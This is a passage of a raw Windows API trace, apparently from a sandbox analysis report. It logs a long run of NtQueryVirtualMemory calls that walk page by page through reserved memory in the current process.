VirtualMemoryInformation=0x18f138*(BaseAddress=0xba000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xbb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xbc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xd0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xbd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xbe000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xce000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xbf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xbf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xcb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xca000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.351] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xc9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xc9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xca000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xca000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xcb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xcc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xc0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xcd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xce000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xce000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbe000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xcf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xcf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbd000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbc000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xbb000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xba000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.352] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xd9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xd9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xda000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xda000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xdb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xdc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xb0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xdd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xaf000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xde000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xde000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xae000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xdf000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xdf000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xad000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xac000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xab000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xaa000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa9000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa8000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa7000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa6000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa5000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa4000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xe9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xe9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa3000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xea000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xea000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa2000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xeb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xeb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa1000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xec000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xec000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0xa0000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.353] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xed000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xed000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xee000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xee000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xef000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xef000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf0000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf1000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf2000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf2000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x9a000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf3000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x99000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf4000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf4000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x98000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf5000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf5000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x97000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf6000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x96000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf7000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf7000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x95000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf8000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x94000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xf9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xf9000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x93000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xfa000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x92000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfb000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xfb000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x91000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xfc000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x90000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xfd000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8f000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xfe000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xfe000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8e000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0xff000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0xff000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8d000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x100000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8c000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.354] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0x18f138, Length=0x1c, ResultLength=0x0 | out: VirtualMemoryInformation=0x18f138*(BaseAddress=0x101000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x8b000, State=0x2000, Protect=0x0, Type=0x20000), ResultLength=0x0) returned 0x0 [0101.355] NtQueryVirtualMemory (in: 